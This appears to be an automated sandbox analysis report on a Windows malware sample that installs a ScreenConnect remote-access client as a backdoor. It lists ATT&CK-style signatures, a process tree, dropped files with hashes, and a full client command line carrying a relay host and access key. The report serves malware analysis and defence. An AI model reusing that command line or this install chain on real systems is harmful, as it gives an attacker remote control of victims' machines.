Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/07/2026, 09:20

General

  • Target
    2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe
  • Size 5.0MB
  • Sample260723-lay47aba85
  • SHA256 3c50648a814c910e0dd75b3066ce386742373e12fb98e0657158396e12b1d16b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 20 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-23_1b66a222c74b7c889d96902260e81da8_amadey_elex_glassworm_hijackloader_icedid_luca-stealer_n.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2408
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding FA10192BE18DD1AA90403B64F4340331 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4244
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI17C9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240654531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2148
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:820
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 711228E22B8B5C1A1EC77AA24F158F8E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:744
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1D68AC2CCF591F4A05536A57A716259B E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:928
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4080
    • C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe" "?e=Access&h=instance-ohfrcy-relay.screenconnect.com&p=443&s=9cb40ee6-37fa-4e03-b811-b589b4508b6b&k=BgIAAACkAABSU0ExAAgAAAEAAQBZBxE%2b%2fLmV2LWEo6f3GK6kMCawIOzG2i9%2fLGy74%2bJOSffsnxdF596HGQFsa5Xbt1odASOkNVzF%2b6%2fbeG05DFjayWyir4lssBizvNB2W8iUTyb9R%2fDlDWkZqxh2xJ%2bMYx59GuM6%2fFTsfAOeC8p5clju7OS20ktMN7bnRsFe7WUr3p03lX9z3bbLzx52ghTN7zX4EI4mAK1T99H%2bmkOqiGxSxtBZAkT1gbstSBa0768hMWd0fnoBJPifWdshoQagaofkAhkN8AmDk09yqRef%2bev7ajtvVp4oVIZtB1asKzUrKkdJQ6fG5%2f%2f5103L5NcU9l1OvtJZB%2foUpJoe2JmaD927"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe" "RunRole" "f38bdace-0cc6-4b93-91ec-49ccb54ba37f" "User"
        2⤵
        • Executes dropped EXE
        PID:4064

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e585177.rbs

          • Path C:\Config.Msi\e585177.rbs
          • Size 213KB
          • SHA256 474d8b73c262a4e669302c37c4525bb2fb76799d8ea90eb603a096f28810ade9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.Override.en-US.resources
          • Size 336B
          • SHA256 5d51a011e7a175f62d08f4eefe57150effe9f391c9a9a246c8e4573cd6ba6f36
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.en-US.resources
          • Size 47KB
          • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\Client.resources
          • Size 2KB
          • SHA256 2a9d8d6847f1fb064730c860a4c8aa71a347a54ef1f124ac5953c39de63b1393
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.Client.dll
          • Size 179KB
          • SHA256 4a49d6aba012345b5a8a5530a6e2bbca1841a954925ff531a00d77f959309d40
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.dll
          • Size 54KB
          • SHA256 a29af3350c607c2d492b08ed7fa18c426e8ef631a1fbdf62436831cb8eea81a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.ClientService.exe
          • Size 95KB
          • SHA256 e8a69ea4a6b59df0ee5f91768a41106494c9358682c5686a5061a58c0e2240c0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 400edb602b31d44d6c04917ce2d85d54bea70f459bd755b5970a90954c439c63
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe
          • Size 559KB
          • SHA256 12a5bcd7dd8176d2bfab9592700773654aefb0f25da208808539f2e9f3ea5112
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 746KB
          • SHA256 62b405f32a43da0c8e8ed14a58ec7b9b4422b154bfd4aed4f9be5de0bc6eb5e8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\app.config
          • Size 551B
          • SHA256 d11b6ccf9e181a4298f9e60718b7658365987d6baa548c8fc9b3206e90c15d45
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (1830d7263bc4f64f)\system.config
          • Size 916B
          • SHA256 86da09d4493a392562deeeae059d1864f4e2b44d6a7efc275d24f72726dc3e25
          • MD5 SHA1 SHA512 TLSH

          MSI17C9.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17C9.tmp
          • Size 1022KB
          • SHA256 9fef0e87140b52d5cd59af0e84805637b75dbaaf0321ff8ab625660486533a56
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17C9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17C9.tmp-\ScreenConnect.Core.dll
          • Size 482KB
          • SHA256 384a9cad42153fd4485dd4bf20f73ab803ed5a5d6d620d795747d5330ac8de1b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI17C9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 20KB
          • SHA256 b5f75aefa6eed74994781f13c10cc39d9e50440f3c58ce774c29d5124405d227
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\setup.msi
          • Size 2.8MB
          • SHA256 f30d42c44a643125399de33f683bab572c5637f4fb00b539d8a5580678547d3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI52DF.tmp

          • Path C:\Windows\Installer\MSI52DF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          1svguyck.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\1svguyck.newcfg
          • Size 587B
          • SHA256 96699a5c680c774bec7f04af6762e877bf9584fb90a0df779fee7f7daa9a2c17
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\user.config
          • Size 587B
          • SHA256 8d9d6ae31f547c2b755ee12ba0aba5df7a31300d0e36d05b1c349ff244cd8b23
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\user.config
          • Size 587B
          • SHA256 f2bc4c2448a4611edd54519d734975c5b5de6588fadcffef0117f5dfb42a3cec
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\user.config
          • Size 587B
          • SHA256 2d63c3fb017d0940f8e7e582180cc07d3ebb06a70fb5fc855330b297196ff96c
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (1830d7263bc4f64f)\user.config
          • Size 587B
          • SHA256 df38ad74b822381e50e2659e8242d47c49dc01eb17a8e19ab6b838f149aee675
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 b6288fdafb1f07e003a9ad8f2cadae5823fea597618434875728cec14a8340c3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {b2630e0a-f731-4a18-9d57-a704dd7e72c4}_OnDiskSnapshotProp

          • Path \??\Volume{20c84cf9-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{b2630e0a-f731-4a18-9d57-a704dd7e72c4}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 2bc3d1317a335af993a79eec8063ffa7dd510661c21766da14cf2d06694c16bc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2148-29-0x00000000029F0000-0x00000000029FC000-memory.dmp

          memory/2148-25-0x00000000029C0000-0x00000000029EE000-memory.dmp

          memory/2148-33-0x0000000004DF0000-0x0000000004E6E000-memory.dmp

          memory/3388-104-0x0000000003D20000-0x0000000003DB2000-memory.dmp

          memory/3388-102-0x00000000042D0000-0x0000000004874000-memory.dmp

          memory/3388-103-0x0000000003A90000-0x0000000003AE0000-memory.dmp

          memory/3388-106-0x0000000003DC0000-0x0000000003E7E000-memory.dmp

          memory/3388-81-0x00000000038A0000-0x00000000038D4000-memory.dmp

          memory/3388-75-0x0000000001210000-0x0000000001224000-memory.dmp

          memory/3388-90-0x0000000003B80000-0x0000000003D20000-memory.dmp

          memory/4064-120-0x000000001BD60000-0x000000001BEE6000-memory.dmp

          memory/4064-117-0x0000000002C70000-0x0000000002CA4000-memory.dmp

          memory/4064-116-0x0000000000A40000-0x0000000000AD0000-memory.dmp

          memory/4064-119-0x000000001BBC0000-0x000000001BD60000-memory.dmp

          memory/4064-118-0x000000001B9A0000-0x000000001BA1E000-memory.dmp

          memory/4064-121-0x0000000002C30000-0x0000000002C44000-memory.dmp

          memory/4352-1-0x0000000000DC0000-0x0000000000DC8000-memory.dmp

          memory/4352-6-0x0000000005190000-0x00000000051A0000-memory.dmp

          memory/4352-2-0x0000000005190000-0x00000000051A0000-memory.dmp

          memory/4352-3-0x0000000005470000-0x000000000572E000-memory.dmp

          memory/4352-0-0x0000000005190000-0x00000000051A0000-memory.dmp

          memory/4352-4-0x0000000002C90000-0x0000000002D0E000-memory.dmp

          memory/4352-5-0x0000000002D10000-0x0000000002D28000-memory.dmp